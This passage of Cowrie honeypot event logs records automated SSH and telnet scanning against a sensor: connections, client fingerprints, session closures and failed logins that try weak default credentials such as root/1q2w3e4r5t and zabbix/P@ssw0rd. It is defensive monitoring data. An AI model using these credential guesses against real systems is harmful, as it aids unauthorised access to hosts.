compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:21.762655Z","src_ip":"91.92.40.36","session":"f75a9b4adce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456A","message":"login attempt [root/123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:22.667457Z","src_ip":"91.92.40.36","session":"f75a9b4adce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:23.807003Z","src_ip":"91.92.40.36","session":"f75a9b4adce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.863919258117676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:25.936422Z","src_ip":"172.81.62.90","session":"537ef6bfc0d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53876,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f9f40002e64","protocol":"ssh","message":"New connection: 91.92.40.36:53876 (10.17.0.5:22) [session: 4f9f40002e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:30.335311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:30.885829Z","src_ip":"91.92.40.36","session":"4f9f40002e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:32.086753Z","src_ip":"91.92.40.36","session":"4f9f40002e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26940,"dst_ip":"10.17.0.5","dst_port":22,"session":"abc96cd7074a","protocol":"ssh","message":"New connection: 91.92.40.36:26940 (10.17.0.5:22) [session: abc96cd7074a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:36.302809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:36.632285Z","src_ip":"91.92.40.36","session":"abc96cd7074a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:36.635554Z","src_ip":"91.92.40.36","session":"abc96cd7074a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:37.028026Z","src_ip":"91.92.40.36","session":"4f9f40002e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"P@ssw0rd","message":"login attempt [zabbix/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:38.500094Z","src_ip":"91.92.40.36","session":"abc96cd7074a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:39.425531Z","src_ip":"91.92.40.36","session":"4f9f40002e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":40400,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bfa1d6c892b","protocol":"ssh","message":"New connection: 103.15.222.183:40400 (10.17.0.5:22) [session: 4bfa1d6c892b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:39.558578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:39.562313Z","src_ip":"103.15.222.183","session":"4bfa1d6c892b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:39.843161Z","src_ip":"103.15.222.183","session":"4bfa1d6c892b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:40.192870Z","src_ip":"91.92.40.36","session":"abc96cd7074a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100782","message":"login attempt [root/100782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:40.607611Z","src_ip":"103.15.222.183","session":"4bfa1d6c892b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:41.857031Z","src_ip":"103.15.222.183","session":"4bfa1d6c892b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26972,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ddb506470d3","protocol":"ssh","message":"New connection: 91.92.40.36:26972 (10.17.0.5:22) [session: 5ddb506470d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:44.366987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:44.471885Z","src_ip":"91.92.40.36","session":"5ddb506470d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:44.475105Z","src_ip":"91.92.40.36","session":"5ddb506470d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:45.348423Z","src_ip":"91.92.40.36","session":"5ddb506470d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:46.866088Z","src_ip":"91.92.40.36","session":"5ddb506470d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":33276,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bb7c1bc8b81","protocol":"ssh","message":"New connection: 97.74.87.152:33276 (159.203.135.109:22) [session: 3bb7c1bc8b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:51.146648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:51.150479Z","src_ip":"97.74.87.152","session":"3bb7c1bc8b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:51.389843Z","src_ip":"97.74.87.152","session":"3bb7c1bc8b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10756,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e2222157f30","protocol":"ssh","message":"New connection: 91.92.40.36:10756 (10.17.0.5:22) [session: 2e2222157f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:51.945353Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ultimate","message":"login attempt [root/ultimate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:52.383673Z","src_ip":"97.74.87.152","session":"3bb7c1bc8b81","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:52.824039Z","src_ip":"91.92.40.36","session":"2e2222157f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:52.826497Z","src_ip":"91.92.40.36","session":"2e2222157f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:53.624848Z","src_ip":"97.74.87.152","session":"3bb7c1bc8b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51532,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a25bf4915d9","protocol":"ssh","message":"New connection: 91.92.40.36:51532 (10.17.0.5:22) [session: 1a25bf4915d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:57.114138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:58.163670Z","src_ip":"91.92.40.36","session":"1a25bf4915d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:58.168336Z","src_ip":"91.92.40.36","session":"1a25bf4915d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:00.161994Z","src_ip":"91.92.40.36","session":"2e2222157f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka123","message":"login attempt [kafka/kafka123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:01.367635Z","src_ip":"91.92.40.36","session":"1a25bf4915d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:02.635083Z","src_ip":"91.92.40.36","session":"2e2222157f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:03.319375Z","src_ip":"91.92.40.36","session":"1a25bf4915d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13592,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb15351c3a8","protocol":"ssh","message":"New connection: 91.92.40.36:13592 (10.17.0.5:22) [session: fdb15351c3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:05.766546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:06.327935Z","src_ip":"91.92.40.36","session":"fdb15351c3a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:06.331789Z","src_ip":"91.92.40.36","session":"fdb15351c3a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brad","password":"brad","message":"login attempt [brad/brad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:10.281068Z","src_ip":"91.92.40.36","session":"fdb15351c3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13662,"dst_ip":"10.17.0.5","dst_port":22,"session":"97d5ee3500f5","protocol":"ssh","message":"New connection: 91.92.40.36:13662 (10.17.0.5:22) [session: 97d5ee3500f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:12.239880Z"}
